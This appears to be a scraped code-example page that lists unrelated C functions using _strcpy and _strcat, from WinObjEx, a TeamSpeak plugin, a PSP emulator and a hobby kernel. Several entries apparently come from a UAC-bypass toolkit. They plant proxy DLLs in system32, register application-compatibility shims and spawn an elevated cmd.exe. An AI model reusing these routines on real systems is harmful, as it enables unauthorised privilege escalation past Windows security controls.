Beispiel #1
0
/* Helper function to create a menu item */
static struct PluginMenuItem* createMenuItem(enum PluginMenuType type, int id, const char* text, const char* icon) {
	struct PluginMenuItem* menuItem = (struct PluginMenuItem*)malloc(sizeof(struct PluginMenuItem));
	menuItem->type = type;
	menuItem->id = id;
	_strcpy(menuItem->text, PLUGIN_MENU_BUFSZ, text);
	_strcpy(menuItem->icon, PLUGIN_MENU_BUFSZ, icon);
	return menuItem;
}
Beispiel #2
0
/*
* ucmStandardAutoElevation2
*
* Purpose:
*
* Bypass UAC by abusing appinfo g_lpAutoApproveEXEList
*
* UAC contain whitelist of trusted fusion processes with only names and no other special restrictions
* Most of them unknown shit and list does not properly handled by system itself, use this fact.
*
*/
BOOL ucmStandardAutoElevation2(
    CONST PVOID ProxyDll,
    DWORD ProxyDllSize
    )
{
    BOOL  cond = FALSE, bResult = FALSE;
    WCHAR SourceFilePathAndName[MAX_PATH + 1];
    WCHAR DestinationFilePathAndName[MAX_PATH + 1];

    do {

        //source filename of dll
        RtlSecureZeroMemory(SourceFilePathAndName, sizeof(SourceFilePathAndName));
        _strcpy(SourceFilePathAndName, g_ctx.szTempDirectory);
        _strcat(SourceFilePathAndName, UNBCL_DLL);

        if (!supWriteBufferToFile(SourceFilePathAndName, ProxyDll, ProxyDllSize)) {
            break;
        }

        //copy %temp\unbcl.dll -> system32\unbcl.dll
        if (!ucmMasqueradedMoveFileCOM(SourceFilePathAndName, g_ctx.szSystemDirectory)) {
            break;
        }

        //source filename of process
        RtlSecureZeroMemory(SourceFilePathAndName, sizeof(SourceFilePathAndName));
        _strcpy(SourceFilePathAndName, g_ctx.szSystemDirectory);
        _strcat(SourceFilePathAndName, SYSPREP_DIR);
        _strcat(SourceFilePathAndName, SYSPREP_EXE);

        RtlSecureZeroMemory(DestinationFilePathAndName, sizeof(DestinationFilePathAndName));
        _strcpy(DestinationFilePathAndName, g_ctx.szTempDirectory);
        _strcat(DestinationFilePathAndName, OOBE_EXE);

        //system32\sysprep\sysprep.exe -> temp\oobe.exe
        if (!CopyFile(SourceFilePathAndName, DestinationFilePathAndName, FALSE)) {
            break;
        }

        //temp\oobe.exe -> system32\oobe.exe
        if (!ucmMasqueradedMoveFileCOM(DestinationFilePathAndName, g_ctx.szSystemDirectory)) {
            break;
        }

        RtlSecureZeroMemory(DestinationFilePathAndName, sizeof(DestinationFilePathAndName));
        _strcpy(DestinationFilePathAndName, g_ctx.szSystemDirectory);
        _strcat(DestinationFilePathAndName, OOBE_EXE);

        bResult = supRunProcess(DestinationFilePathAndName, NULL);

    } while (cond);

    return bResult;
}
Beispiel #3
0
/*
* cuiPrintTextW
*
* Purpose:
*
* Output text to the console or file.
* UNICODE version.
*
*/
VOID cuiPrintTextW(
	_In_ LPWSTR lpText,
	_In_ BOOL UseReturn
	)
{
	SIZE_T consoleIO;
	DWORD bytesIO;
	LPWSTR Buffer;

	if (lpText == NULL)
		return;

	consoleIO = _strlen_w(lpText);
	if ((consoleIO == 0) || (consoleIO > MAX_PATH * 4))
		return;

	consoleIO = consoleIO * sizeof(WCHAR) + 4 + sizeof(UNICODE_NULL);
	Buffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, consoleIO);
	if (Buffer) {

		_strcpy(Buffer, lpText);
		if (UseReturn) _strcat_w(Buffer, TEXT("\r\n"));

		consoleIO = _strlen_w(Buffer);

		if (g_ConsoleOutput != FALSE) {
			WriteConsoleW(g_ConOut, Buffer, (DWORD)consoleIO, &bytesIO, NULL);
		}
		else {
			WriteFile(g_ConOut, Buffer, (DWORD)(consoleIO * sizeof(WCHAR)), &bytesIO, NULL);
		}
		HeapFree(GetProcessHeap(), 0, Buffer);
	}
}
Beispiel #4
0
/*
* exceptShowException
*
* Purpose:
*
* Output exception information to the user.
*
*/
VOID exceptShowException(
	EXCEPTION_POINTERS *ExceptionPointers
	)
{
	WCHAR szMessage[MAX_PATH * 2];
	ULONGLONG IdFile;

	RtlSecureZeroMemory(&szMessage, sizeof(szMessage));
	_strcpy(szMessage, L"Sorry, exception occurred at address: \n0x");
	u64tohex((ULONG_PTR)ExceptionPointers->ExceptionRecord->ExceptionAddress, _strend(szMessage));

	if (ExceptionPointers->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
		switch (ExceptionPointers->ExceptionRecord->ExceptionInformation[0]) {
		case 0:
			_strcat(szMessage, L"\n\nAttempt to read at address: \n0x");
			break;
		case 1:
			_strcat(szMessage, L"\n\nAttempt to write at address: \n0x");
			break;
		}
		u64tohex(ExceptionPointers->ExceptionRecord->ExceptionInformation[1], _strend(szMessage));
	}
	IdFile = GetTickCount64();

	if (exceptWriteDump(ExceptionPointers, IdFile)) {
		_strcat(szMessage, L"\n\nMinidump wobjex");
		u64tostr(IdFile, _strend(szMessage));
		_strcat(szMessage, L".dmp is in %TEMP% directory");
	}
	_strcat(szMessage, L"\n\nPlease report this to the developers, thanks");
	MessageBox(GetForegroundWindow(), szMessage, NULL, MB_ICONERROR);
}
Beispiel #5
0
// 指定した番号にステート削除
boolean PSPEMU_DeleteState(uint32 ulNum)
{
	char szFilePath[MAX_PATH], szThumbnailPath[MAX_PATH], szTemp[32], *pszExt;

	if (ulNum >= STATE_SLOT_MAX) return FALSE;
	GetStatePath(szFilePath, sizeof(szFilePath));
	_strcat(szFilePath, NES_ROM_GetRomName());
	_strcpy(szThumbnailPath, szFilePath);
	_strcat(szFilePath, ".ss");
	_itoa(ulNum, szTemp);
	_strcat(szFilePath, szTemp);
	// delete ss? file
	sceIoRemove(szFilePath);
	pszExt = _strrchr(szFilePath, '.');
	if (pszExt) {
		pszExt[1] = 'z';
		// delete zs? file
		sceIoRemove(szFilePath);
	}
	_strcat(szThumbnailPath, ".tn");
	_strcat(szThumbnailPath, szTemp);
	// delete thumbnail file
	sceIoRemove(szThumbnailPath);
	_strcat(szThumbnailPath, ".png");
	// delete thumbnail file(png)
	sceIoRemove(szThumbnailPath);
	return TRUE;
}
Beispiel #6
0
// 指定した番号にステート保存
boolean PSPEMU_SaveState(uint32 ulNum)
{
	char szFilePath[MAX_PATH], szThumbnailPath[MAX_PATH], szTemp[32];
	boolean bRet;

	if (ulNum >= STATE_SLOT_MAX) return FALSE;
	GetStatePath(szFilePath, sizeof(szFilePath));
	_strcat(szFilePath, NES_ROM_GetRomName());
	_strcpy(szThumbnailPath, szFilePath);
	_strcat(szFilePath, ".ss");
	_itoa(ulNum, szTemp);
	_strcat(szFilePath, szTemp);
	bRet = NES_saveState(szFilePath);
	if (bRet) {
		_strcat(szThumbnailPath, ".tn");
		_strcat(szThumbnailPath, szTemp);
		// delete old thumbnail file
		sceIoRemove(szThumbnailPath);
		_strcat(szThumbnailPath, ".png");
		if (setting.savethumbnail) {
			// create thumbnail(png)
			CreateThumnailFile(szThumbnailPath);
		}
		else {
			// delete thumbnail file
			sceIoRemove(szThumbnailPath);
		}
	}
	if (!bRet) sceIoRemove(szFilePath);
	return bRet;
}
int str_del_vowels(char *s){
  int counter = 0;
  int i;
  int j=0;
  char copy[10] = "";

  printf ("String vorher: %s\n", s);
  _strcpy(copy,s);
  printf ("String copy: %s\n", copy);
  strdel(s);
  printf ("String geleert: %s\n", s);
  
  for (i=0; *(copy+i) != '\0'; i++){
    if (isVokal3(*(copy+i))){
       counter++;
    }
    else{
      *(s+j) = *(copy+i);
      j++;
    }
  }

  printf ("String nachher: %s\n", s);
  return counter;
}
Beispiel #8
0
void init_dev_fs()
{
	devfs_root = (struct inode*)kmalloc(sizeof(struct inode));
	_strcpy(devfs_root->name, "dev");
	devfs_root->i_ops = &devfs_inode_ops;
	devfs_root->parent = current_task->thread->root;
	devfs_root->mode = S_IFDIR | 0x1FF;
	devfs_root->num = -1;
	rwlock_create(&devfs_root->rwl);
	/* Create device nodes */
	char tty[6] = "tty";
	int i;
	for(i=1;i<10;i++) {
		sprintf(tty, "tty%d", i);
		devfs_add(devfs_root, tty, S_IFCHR, 3, i);
	}
	devfs_add(devfs_root, "tty", S_IFCHR, 4, 0);
	devfs_add(devfs_root, "null", S_IFCHR, 0, 0);
	devfs_add(devfs_root, "zero", S_IFCHR, 1, 0);
	devfs_add(devfs_root, "com0", S_IFCHR, 5, 0);
	/* Mount the filesystem */
	add_inode(current_task->thread->root, devfs_root);
#if CONFIG_MODULES
	add_kernel_symbol(devfs_add);
	add_kernel_symbol(devfs_remove);
#endif
}
Beispiel #9
0
/*
* SdtSaveListToFile
*
* Purpose:
*
* Dump table to the selected file
*
*/
VOID SdtSaveListToFile(
	_In_ HWND hwndDlg
	)
{
	
	WCHAR ch;
	INT BufferSize = 0;
	INT	numitems;
	INT	row, subitem;
	SIZE_T sz, k;
	LPWSTR pItem = NULL;
	HCURSOR hSaveCursor;
	HCURSOR hHourGlass;
	WCHAR szTempBuffer[MAX_PATH + 1];

	RtlSecureZeroMemory(szTempBuffer, sizeof(szTempBuffer));

	_strcpy(szTempBuffer, TEXT("list.txt"));
	if (supSaveDialogExecute(hwndDlg, (LPWSTR)&szTempBuffer, TEXT("Text files\0*.txt\0\0"))) {

		hHourGlass = LoadCursorW(NULL, IDC_WAIT);

		ch = (WCHAR)0xFEFF;
		supWriteBufferToFile(szTempBuffer, &ch, sizeof(WCHAR), FALSE, FALSE);

		SetCapture(hwndDlg);
		hSaveCursor = SetCursor(hHourGlass);

		numitems = ListView_GetItemCount(SdtDlgContext.ListView);
		for (row = 0; row < numitems; row++) {

			output[0] = 0;
			for (subitem = 0; subitem < SdtDlgContext.lvColumnCount; subitem++) {

				sz = 0;
				pItem = supGetItemText(SdtDlgContext.ListView, row, subitem, &sz);
				if (pItem) {
					_strcat(output, pItem);
					HeapFree(GetProcessHeap(), 0, pItem);
				}
				if (subitem == 1) {
					for (k = 54; k > sz / sizeof(WCHAR); k--) {
						_strcat(output, TEXT(" "));
					}
				}
				else {
					_strcat(output, TEXT("\t"));
				}
			}
			_strcat(output, L"\r\n");
			BufferSize = (INT)_strlen(output);
			supWriteBufferToFile(szTempBuffer, output, BufferSize * sizeof(WCHAR), FALSE, TRUE);
		}

		SetCursor(hSaveCursor);
		ReleaseCapture();
	}
}
Beispiel #10
0
uint8 *_strdup(const uint8 *src)
{
	uint32 len = _strlen(src);
	uint8 *p;

	p = (uint8 *)malloc(len + 1);
	_strcpy(p, src);

	return p;
}
Beispiel #11
0
/*
* propBasicQueryMutant
*
* Purpose:
*
* Set information values for Mutant object type
*
* If ExtendedInfoAvailable is FALSE then it calls propSetDefaultInfo to set Basic page properties
*
*/
VOID propBasicQueryMutant(
    _In_ PROP_OBJECT_INFO *Context,
    _In_ HWND hwndDlg,
    _In_ BOOL ExtendedInfoAvailable
)
{
    NTSTATUS status;
    ULONG    bytesNeeded;
    HANDLE   hObject;
    WCHAR    szBuffer[MAX_PATH];

    MUTANT_BASIC_INFORMATION mbi;

    SetDlgItemText(hwndDlg, ID_MUTANTABANDONED, T_CannotQuery);
    SetDlgItemText(hwndDlg, ID_MUTANTSTATE, T_CannotQuery);

    if (Context == NULL) {
        return;
    }

    //
    // Open Mutant object.
    //
    hObject = NULL;
    if (!propOpenCurrentObject(Context, &hObject, MUTANT_QUERY_STATE)) {
        return;
    }

    RtlSecureZeroMemory(&mbi, sizeof(MUTANT_BASIC_INFORMATION));

    status = NtQueryMutant(hObject, MutantBasicInformation, &mbi,
        sizeof(MUTANT_BASIC_INFORMATION), &bytesNeeded);
    if (NT_SUCCESS(status)) {

        //Abandoned
        SetDlgItemText(hwndDlg, ID_MUTANTABANDONED, (mbi.AbandonedState) ? TEXT("Yes") : TEXT("No"));

        //State
        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, TEXT("Not Held"));
        if (mbi.OwnedByCaller) {
            wsprintf(szBuffer, TEXT("Held recursively %d times"), mbi.CurrentCount);
        }
        SetDlgItemText(hwndDlg, ID_MUTANTSTATE, szBuffer);
    }

    //
    // Query object basic and type info if needed.
    //
    if (ExtendedInfoAvailable == FALSE) {
        propSetDefaultInfo(Context, hwndDlg, hObject);
    }
    NtClose(hObject);
}
Beispiel #12
0
uint8 *_strcat(const uint8 *src, const uint8 *s1)
{
	uint32 len = _strlen(src) + _strlen(s1);
	uint8 *p;

	p = (uint8 *)malloc(len + 1);
	memcpy(p, src, _strlen(src));
	_strcpy(p + _strlen(src), s1);

	return p;
}
Beispiel #13
0
int search_dir_rec(iso_fs_t *fs, struct iso9660DirRecord *dir, char *name, struct iso9660DirRecord *ret)
{
	char buf[2048];
	char search[strlen(name)+4];
	memset(search, 0, strlen(name)+4);
	_strcpy(search, name);
	to_upper(search);
	unsigned int block=0, total=0;
	struct iso9660DirRecord *record;
	while(total < dir->DataLen_LE)
	{
		int res = iso9660_read_file(fs, dir, buf, block*2048, 2048);
		int off=0;
		while(off < res)
		{
			record = (struct iso9660DirRecord *)((char *)buf+off);
			if(!record->RecLen) {
				goto end;
			}
			/* Process the record */
			char flag=0;
			if(record->FileFlags & 0x2)
			{
				flag = (record->FileIdentLen == strlen((const char *)search) 
					&& !strncmp((const char *)record->FileIdent, 
					(const char *)search, record->FileIdentLen));
			} else
			{
				record->FileIdentLen -= 2;
				record->FileIdent[record->FileIdentLen]=0;
				if(record->FileIdent[record->FileIdentLen-1] == '.')
					record->FileIdent[--record->FileIdentLen]=0;
				flag = (record->FileIdentLen == strlen(search) 
					&& !strncmp((const char *)record->FileIdent, 
					(const char *)search, record->FileIdentLen));
			}
			if(flag)
			{
				/* Found! */
				memcpy(ret, record, sizeof(*ret));
				return 0;
			}
			off += record->RecLen;
		}
		if(res < 2048)
			break;
		block++;
		total += res;
	}
	end:
	return -1;
}
Beispiel #14
0
int init_kern_task()
{
	kproclist = (struct inode *)kmalloc(sizeof(struct inode));
	_strcpy(kproclist->name, "kproclist");
	kproclist->mode = S_IFDIR | 0xFFF;
	kproclist->count=1;
	kproclist->dev = 256*3;
	rwlock_create(&kproclist->rwl);
#if CONFIG_MODULES
	_add_kernel_symbol((addr_t)(struct inode **)&kproclist, "kproclist");
#endif
	return 0;
}
int main(int argc, char const *argv[])
{
	
	char str[50];
	char *temp ="hello";

	strcpy(str,"Mr.ROBOT is here!");
	puts(str);
 	char* result = _strcpy(str,temp);
   	puts(result);


	return 0;
}
Beispiel #16
0
/*
* supShowHelp
*
* Purpose:
*
* Display help file if available.
*
*/
VOID supShowHelp(
	VOID
	)
{
	DWORD dwSize;
	HKEY hKey;
	LRESULT lRet;
	HANDLE hHtmlOcx;
	WCHAR szOcxPath[MAX_PATH + 1];
	WCHAR szHelpFile[MAX_PATH * 2];

	RtlSecureZeroMemory(&szOcxPath, sizeof(szOcxPath));
	RtlSecureZeroMemory(szHelpFile, sizeof(szHelpFile));
	lRet = RegOpenKeyEx(HKEY_CLASSES_ROOT, HHCTRLOCXKEY, 0, KEY_QUERY_VALUE, &hKey);
	if (lRet == ERROR_SUCCESS) {
		dwSize = MAX_PATH * sizeof(WCHAR);
		lRet = RegQueryValueEx(hKey, L"", NULL, NULL, (LPBYTE)szHelpFile, &dwSize);
		RegCloseKey(hKey);

		if (lRet == ERROR_SUCCESS) {
			if (ExpandEnvironmentStrings(szHelpFile, szOcxPath, MAX_PATH) == 0) {
				lRet = ERROR_SECRET_TOO_LONG;
			}
		}
	}
	if (lRet != ERROR_SUCCESS) {
		_strcpy(szOcxPath, HHCTRLOCX);
	}

	RtlSecureZeroMemory(szHelpFile, sizeof(szHelpFile));
	if (!GetCurrentDirectory(MAX_PATH, szHelpFile)) {
		return;
	}
	_strcat(szHelpFile, L"\\winobjex64.chm");

	hHtmlOcx = GetModuleHandle(HHCTRLOCX);
	if (hHtmlOcx == NULL) {
		hHtmlOcx = LoadLibrary(szOcxPath);
		if (hHtmlOcx == NULL) {
			return;
		}
	}
	if (pHtmlHelpW == NULL) {
		pHtmlHelpW = (pfnHtmlHelpW)GetProcAddress(hHtmlOcx, MAKEINTRESOURCEA(0xF));
		if (pHtmlHelpW == NULL) {
			return;
		}
	}
	pHtmlHelpW(GetDesktopWindow(), szHelpFile, 0, 0);
}
Beispiel #17
0
/*
* DllMain
*
* Purpose:
*
* Proxy dll entry point, process parameter if exist or start cmd.exe and exit immediatelly.
*
*/
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD fdwReason,
    _In_ LPVOID lpvReserved
)
{
    DWORD					cch;
    TCHAR					cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
    STARTUPINFO				startupInfo;
    PROCESS_INFORMATION		processInfo;

    UNREFERENCED_PARAMETER(hinstDLL);
    UNREFERENCED_PARAMETER(lpvReserved);

    if (fdwReason == DLL_PROCESS_ATTACH) {

        OutputDebugString(TEXT("Hello, Admiral"));

        if (!ucmQueryCustomParameter()) {

            RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
            RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
            startupInfo.cb = sizeof(startupInfo);
            GetStartupInfoW(&startupInfo);         
            
            RtlSecureZeroMemory(sysdir, sizeof(sysdir));
            cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH);
            if ((cch != 0) && (cch < MAX_PATH)) {
                RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
                _strcpy(cmdbuf, sysdir);
                _strcat(cmdbuf, TEXT("cmd.exe"));

                if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL,
                    sysdir, &startupInfo, &processInfo))
                {
                    CloseHandle(processInfo.hProcess);
                    CloseHandle(processInfo.hThread);

                    if (g_AkagiFlag == AKAGI_FLAG_KILO) {
                        ucmShowProcessIntegrityLevel();
                    }
                }
            }

        }
        ExitProcess(0);
    }
    return TRUE;
}
Beispiel #18
0
/*
* MainWindowOnRefresh
*
* Purpose:
*
* Main Window Refresh handler.
*
*/
VOID MainWindowOnRefresh(
	_In_ HWND hwnd
	)
{
	LPWSTR	CurrentObject;
	SIZE_T	len;

	UNREFERENCED_PARAMETER(hwnd);

	supSetWaitCursor(TRUE);

	if (g_kdctx.hDevice != NULL) {
		ObListDestroy(&g_kdctx.ObjectList);
		if (g_kdctx.hThreadWorker) {
			WaitForSingleObject(g_kdctx.hThreadWorker, INFINITE);
			CloseHandle(g_kdctx.hThreadWorker);
			g_kdctx.hThreadWorker = NULL;
		}

		//query object list info
		g_kdctx.hThreadWorker = CreateThread(NULL, 0,
			kdQueryProc,
			&g_kdctx, 0, NULL);
	}

	supFreeSCMSnapshot(g_enumParams.scmSnapshot);
	sapiFreeSnapshot(g_enumParams.sapiDB);
	RtlSecureZeroMemory(&g_enumParams, sizeof(g_enumParams));
	g_enumParams.scmSnapshot = supCreateSCMSnapshot(&g_enumParams.scmNumberOfEntries);
	g_enumParams.sapiDB = sapiCreateSetupDBSnapshot();
	g_enumParams.lpSubDirName = CurrentObjectPath;

	len = _strlen(CurrentObjectPath);
	CurrentObject = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (len + 1)*sizeof(WCHAR));
	if (CurrentObject)
		_strcpy(CurrentObject, CurrentObjectPath);

	TreeView_DeleteAllItems(ObjectTree);
	ListObjectDirectoryTree(L"\\", NULL, NULL);
	TreeView_SelectItem(ObjectTree, TreeView_GetRoot(ObjectTree));

	if (CurrentObject) {
		ListToObject(CurrentObject);
		HeapFree(GetProcessHeap(), 0, CurrentObject);
	}

	supSetWaitCursor(FALSE);
}
int main(void)
{
	char a[] = "Hello world\n";
	char *p = a;
	int i = 0;
	while (p[i] != '\0') {
		printf("%c", p[i]);
		i++;
	}
	/* The source string can be const string ie, char * because we are only
	 * going to iterate over the string. The destination has to be a char
	 * array or a pointer to malloc array, ie, it should have the required
	 * amount of memory available with it because the data is going to be
	 * copied to its location
	 */
	char *s = "Hello";
	char t[6];
	_strncpy(s, t, 1);
	printf("%s\n", t);
	s = "World";
	/* Char * can point to a new location because the pointer
	 * wasn't a const, only the string was.
	*/
	
	/* Testing with malloc'd block of data. We need to use strlen on char *
	 * to get the string size. sizeof will give the size of pointer. Also
	 * strlen gives length by ignoring \0, we need additional space for that
	 * as well, thus the +1 
	 */
	char *mp = (char *)malloc(strlen(s) + 1);
	_strcpy(s, mp);
	printf("%s\n", mp);
	char big[12] = "Hello";
	char *small = " World";
	_strcat(big, small);
	printf("Concat: %s\n", big);

	struct mystruct m = {
		.c = 'c', 
		.n = 42, 
		.f = 3.14,
	};

	printf("%u is the offset of char\n", _offset_of(struct mystruct, c));
	printf("%u is the offset of int\n", _offset_of(struct mystruct, n));
	printf("%u is the offset of float\n", _offset_of(struct mystruct, f));
	printf("%u is the size\n", sizeof(struct mystruct));
}
Beispiel #20
0
/*
* PipeDisplayError
*
* Purpose:
*
* Display last Win32 error.
*
*/
VOID PipeDisplayError(
    HWND hwndDlg
)
{
    DWORD dwLastError;
    WCHAR szBuffer[MAX_PATH * 2];

    dwLastError = GetLastError();
    ShowWindow(GetDlgItem(hwndDlg, ID_PIPE_QUERYFAIL), SW_SHOW);

    RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
    _strcpy(szBuffer, TEXT("Cannot open pipe because: "));
    FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwLastError,
        0, _strend(szBuffer), MAX_PATH, NULL);
    SetDlgItemText(hwndDlg, ID_PIPE_QUERYFAIL, szBuffer);
}
Beispiel #21
0
/*
 * Initialize plugin menus.
 * This function is called after ts3plugin_init and ts3plugin_registerPluginID. A pluginID is required for plugin menus to work.
 * Both ts3plugin_registerPluginID and ts3plugin_freeMemory must be implemented to use menus.
 * If plugin menus are not used by a plugin, do not implement this function or return NULL.
 */
void ts3plugin_initMenus(struct PluginMenuItem*** menuItems, char** menuIcon) {
	/*
	 * Create the menus
	 * There are three types of menu items:
	 * - PLUGIN_MENU_TYPE_CLIENT:  Client context menu
	 * - PLUGIN_MENU_TYPE_CHANNEL: Channel context menu
	 * - PLUGIN_MENU_TYPE_GLOBAL:  "Plugins" menu in menu bar of main window
	 *
	 * Menu IDs are used to identify the menu item when ts3plugin_onMenuItemEvent is called
	 *
	 * The menu text is required, max length is 128 characters
	 *
	 * The icon is optional, max length is 128 characters. When not using icons, just pass an empty string.
	 * Icons are loaded from a subdirectory in the TeamSpeak client plugins folder. The subdirectory must be named like the
	 * plugin filename, without dll/so/dylib suffix
	 * e.g. for "test_plugin.dll", icon "1.png" is loaded from <TeamSpeak 3 Client install dir>\plugins\test_plugin\1.png
	 */

	BEGIN_CREATE_MENUS(7);  /* IMPORTANT: Number of menu items must be correct! */
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_CLIENT,  MENU_ID_CLIENT_1,  "Client item 1",  "1.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_CLIENT,  MENU_ID_CLIENT_2,  "Client item 2",  "2.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_CHANNEL, MENU_ID_CHANNEL_1, "Channel item 1", "1.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_CHANNEL, MENU_ID_CHANNEL_2, "Channel item 2", "2.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_CHANNEL, MENU_ID_CHANNEL_3, "Channel item 3", "3.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_GLOBAL,  MENU_ID_GLOBAL_1,  "Global item 1",  "1.png");
	CREATE_MENU_ITEM(PLUGIN_MENU_TYPE_GLOBAL,  MENU_ID_GLOBAL_2,  "Global item 2",  "2.png");
	END_CREATE_MENUS;  /* Includes an assert checking if the number of menu items matched */

	/*
	 * Specify an optional icon for the plugin. This icon is used for the plugins submenu within context and main menus
	 * If unused, set menuIcon to NULL
	 */
	*menuIcon = (char*)malloc(PLUGIN_MENU_BUFSZ * sizeof(char));
	_strcpy(*menuIcon, PLUGIN_MENU_BUFSZ, "t.png");

	/*
	 * Menus can be enabled or disabled with: ts3Functions.setPluginMenuEnabled(pluginID, menuID, 0|1);
	 * Test it with plugin command: /test enablemenu <menuID> <0|1>
	 * Menus are enabled by default. Please note that shown menus will not automatically enable or disable when calling this function to
	 * ensure Qt menus are not modified by any thread other the UI thread. The enabled or disable state will change the next time a
	 * menu is displayed.
	 */
	/* For example, this would disable MENU_ID_GLOBAL_2: */
	/* ts3Functions.setPluginMenuEnabled(pluginID, MENU_ID_GLOBAL_2, 0); */

	/* All memory allocated in this function will be automatically released by the TeamSpeak client later by calling ts3plugin_freeMemory */
}
Beispiel #22
0
/*
* MainWindowOnRefresh
*
* Purpose:
*
* Main Window Refresh handler.
*
*/
VOID MainWindowOnRefresh(
    _In_ HWND hwnd
)
{
    LPWSTR  CurrentPath = NULL;
    SIZE_T  len;

    UNREFERENCED_PARAMETER(hwnd);

    supSetWaitCursor(TRUE);

    if (g_kdctx.hDevice != NULL) {
        ObListDestroy(&g_kdctx.ObjectList);
        if (g_kdctx.hThreadWorker) {
            WaitForSingleObject(g_kdctx.hThreadWorker, INFINITE);
            CloseHandle(g_kdctx.hThreadWorker);
            g_kdctx.hThreadWorker = NULL;
        }

        //query object list info
        g_kdctx.hThreadWorker = CreateThread(NULL, 0,
            kdQueryProc,
            &g_kdctx, 0, NULL);
    }

    supFreeSCMSnapshot();
    sapiFreeSnapshot();

    supCreateSCMSnapshot();
    sapiCreateSetupDBSnapshot();

    len = _strlen(g_WinObj.CurrentObjectPath);
    CurrentPath = supHeapAlloc((len + 1) * sizeof(WCHAR));
    if (CurrentPath)
        _strcpy(CurrentPath, g_WinObj.CurrentObjectPath);

    TreeView_DeleteAllItems(g_hwndObjectTree);
    ListObjectDirectoryTree(L"\\", NULL, NULL);
    TreeView_SelectItem(g_hwndObjectTree, TreeView_GetRoot(g_hwndObjectTree));

    if (CurrentPath) {
        ListToObject(CurrentPath);
        supHeapFree(CurrentPath);
    }

    supSetWaitCursor(FALSE);
}
Beispiel #23
0
/*
* ucmAppcompatElevation
*
* Purpose:
*
* AutoElevation using Application Compatibility engine.
*
*/
BOOL ucmAppcompatElevation(
    UACBYPASSMETHOD Method,
    CONST PVOID ProxyDll,
    DWORD ProxyDllSize,
    LPWSTR lpszPayloadEXE
    )
{
    BOOL cond = FALSE, bResult = FALSE;
    WCHAR szBuffer[MAX_PATH * 2];

    do {

        RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
        _strcpy(szBuffer, g_ctx.szSystemDirectory);
        _strcat(szBuffer, APPHELP_DLL);

        hAppHelp = LoadLibrary(szBuffer);
        if (hAppHelp == NULL) {
            break;
        }

        if (ucmInitAppHelp() == FALSE) {
            break;
        }

        //create and register shim with RedirectEXE, cmd.exe as payload
        if (Method == UacMethodRedirectExe) {

            if (lpszPayloadEXE == NULL) {
                _strcpy_w(szBuffer, T_DEFAULT_CMD);
                bResult = ucmShimRedirectEXE(szBuffer);
            }
            else {
                bResult = ucmShimRedirectEXE(lpszPayloadEXE);
            }
            return bResult;
        }
        //create and register shim patch with fubuki as payload
        if (Method == UacMethodShimPatch) {
            bResult = ucmShimPatch(ProxyDll, ProxyDllSize);
        }

    } while (cond);

    return bResult;
}
Beispiel #24
0
Result _srv_getServiceHandle(Handle* handleptr, Handle* out, char* server)
{
	u8 l=_strlen(server);
	if(!out || !server || l>8)return -1;

	u32* cmdbuf=getThreadCommandBuffer();

	cmdbuf[0]=0x50100; //request header code
	_strcpy((char*)&cmdbuf[1], server);
	cmdbuf[3]=l;
	cmdbuf[4]=0x0;

	Result ret=0;
	if((ret=svc_sendSyncRequest(*handleptr)))return ret;

	*out=cmdbuf[3];

	return cmdbuf[1];
}
Beispiel #25
0
/* Plugin processes console command. Return 0 if plugin handled the command, 1 if not handled. */
int ts3plugin_processCommand(uint64 serverConnectionHandlerID, const char* command) {
	size_t length = strlen(command);
	char* str = (char*)malloc(length+1);
	_strcpy(str, length+1, command);

	// Seperate the argument from the command
	char* arg = strchr(str, ' ');
	if(arg != NULL)
	{
		// Split the string by inserting a NULL-terminator
		*arg = (char)NULL;
		arg++;
	}

	ParseCommand(str, arg);

	free(str);

	return 0;  /* Plugin did not handle command */
}
Beispiel #26
0
Datei: vfs.c Projekt: dakk/Misc
int vfs_mount(char *dev, char *point, char *fs, char *flags)
{
	/* create the root node */
	struct vfs_node_p *root = NULL;
	
	if(_strcmp(fs, "tarfs") == 0)
		root = tarfs_mount(dev, flags);

	if(root == NULL)
		return 0;

	/* create mp */
	mountpoint_t *mp = (mountpoint_t *) mm_alloc(sizeof(mountpoint_t));
	mp->next = mountlist;
	mp->root = root;
	_strcpy(mp->path, point);
	mountlist = mp;

	return 1;
}
Beispiel #27
0
/*
* ucmCreateCabinetForSingleFile
*
* Purpose:
*
* Build cabinet for usage in methods where required 1 file.
*
*/
BOOL ucmCreateCabinetForSingleFile(
    LPWSTR lpSourceDll,
    PVOID ProxyDll,
    DWORD ProxyDllSize
    )
{
    BOOL     cond = FALSE, bResult = FALSE;
    CABDATA *Cabinet = NULL;
    LPWSTR   lpFileName;
    WCHAR    szMsuFileName[MAX_PATH * 2];

    if ((ProxyDll == NULL) || (ProxyDllSize == 0)) {
        return FALSE;
    }

    do {

        //drop proxy dll
        if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) {
            break;
        }

        //build cabinet
        RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
        _strcpy(szMsuFileName, g_ctx.szTempDirectory);
        _strcat(szMsuFileName, ELLOCNAK_MSU);

        Cabinet = cabCreate(szMsuFileName);
        if (Cabinet == NULL)
            break;

        lpFileName = _filename(lpSourceDll);
        //put file without compression
        bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName);
        cabClose(Cabinet);

    } while (cond);

    return bResult;
}
